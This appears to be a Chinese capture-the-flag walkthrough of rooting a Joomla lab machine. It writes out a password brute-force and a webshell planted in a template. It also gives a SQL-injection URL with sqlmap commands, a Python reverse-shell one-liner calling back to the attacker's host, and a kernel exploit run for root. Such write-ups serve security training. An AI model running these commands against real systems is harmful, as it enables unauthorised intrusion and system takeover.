导入靶机,设置成桥接,之后打开我的kali,使用arp-scan查找靶机IP
arp-scan -l
可以看到112这台主机,被识别出来是VM虚拟网卡了,所以大概率是它
去浏览器访问一下,没有任何问题
看着就像个CMS,打开wappalyzer识别出Joomla的CMS系统,它的漏洞还是挺多的
同样的为了扩大攻击面,别忘了用nmap扫一下端口,只存在80端口,也识别到了Joomla的CMS,并且得到中间件版本
再扫一下目录,可是不少呢
根据前面扫描的目录直接进后台管理页面
随手试了几个admin,123456,root等无果,直接挂上字典跑
密码为snoopy,直接登后台
通过Extensions
–>Templates
–>Templates
–>xxx Details and Files
修改error.php文件 添加shell代码,save保存
连接成功
http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
判断存在sql注入,尝试用sqlmap跑一下
#语句在这,因为是在list[fullordering]处发生的注入,所以将它的值置位*
python sqlmap.py -u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fu llordering]=*" --level 3
跑出来了,然后先别急,因为前方已经弱口令跑出来,所以这里就不通过它找管理员密码了,尝试写入webshell但是不知道网站绝对路径,所以这里先尝试用之前跑的目录进行信息收集。
看了下扫出来的路径,几乎都没啥用,还得进后台啊
#先进sqlmap的shell
python sqlmap.py --shell
#查表(因为之前我们的数据库名称已经知道了)
-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --level 3 -D joomladb --tables
-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --level 3 -D joomladb --T "#__bsms_admin" --columns
这里需要跑下列名
看这个结果,貌似不是这个表
我再去翻翻表名
这回应该差不多了
跑数据
去MD5在线解密没解出来(看着也不像MD5字符串),只能用John the Ripper(密码破解工具)跑一下了,保存个文本,然后直接解密即可,秒出结果
密码为snoopy
登录后台,找到了这个,所以盲猜绝对路径,在/var/www/html/
再看一下数据库是否为root账户
-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --current-user
尝试写入一句话,失败了,还是用原来的webshell吧
这里提一嘴,joomla的反序列化漏洞在这个靶场条件不满足,当前靶场是php7版本,所以不能利用
用shell看一下账户,是个低权限网站账户
尝试查看/etc/passwd和/etc/shadow,后者无权限,那就不考虑root账户破解了
尝试suid和定时任务提权,查看了一下,没什么异常,也没定时任务(试了pkexec的提全漏洞CVE-2021-4034,没成功)
接下来看一下看能否通过内核漏洞提权
uname -a
release -a
通过kali的searchsploit搜一下漏洞
我们也可以去https://www.exploit-db.com/,然后同样的方式搜索,最好用带对号的,证明已经验证过
这里首先第一个带√的我试了,提权失败,第二个事64位的--过,第三个 ‘BPF’那个需要ruby环境---过,然后第四个依旧是64位过,然后就剩下了最后一个,它是个利用文档,我这里在https://www.exploit-db.com/先看下
翻到最下方写了exp地址,在github上,这里直接真机下载zip包,然后,上传exploit.tar到靶机
这里注意,因为我们要涉及到提权,所以我们需要一个完整的交互式的shell,我当前在哥斯拉上的webshell并不是交互式的shell,当我们执行vim或top甚至ping的时候,webshell都会卡死,执行提权脚本也不会反弹回root的shell,也就不能够满足我们的要求,所以这里我们需要升级成一个可交互的webshell
这里我们想办法反弹shell,bash方式反弹shell失败了,因为是php语言,所以这里可以通过后台的模板进行反弹shell,我这里采用的事python反弹shell方法,因为如果用python反弹成功了,直接就是交互式的shell,如果用php反弹后续还需要对其进行升级。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
这里默认是python2,直接执行会报错,格式错误,可能是因为webshell的原因导致某些换行空格出异常了,所以这里我在本地新建了个文件,将命令存到文件里面然后上传到了靶机,赋予执行权限,然后执行即可
反弹成功
我们将exploit.tar解压,然后运行里面的compile.sh,然后在由doubleput.c编译后生成的doubleput
tar -xvf exploit.tar
./compile.sh
./doubleput
提权成功
去root目录查flag,完活
同样可以为了方便,在利用python弹个root权限的shell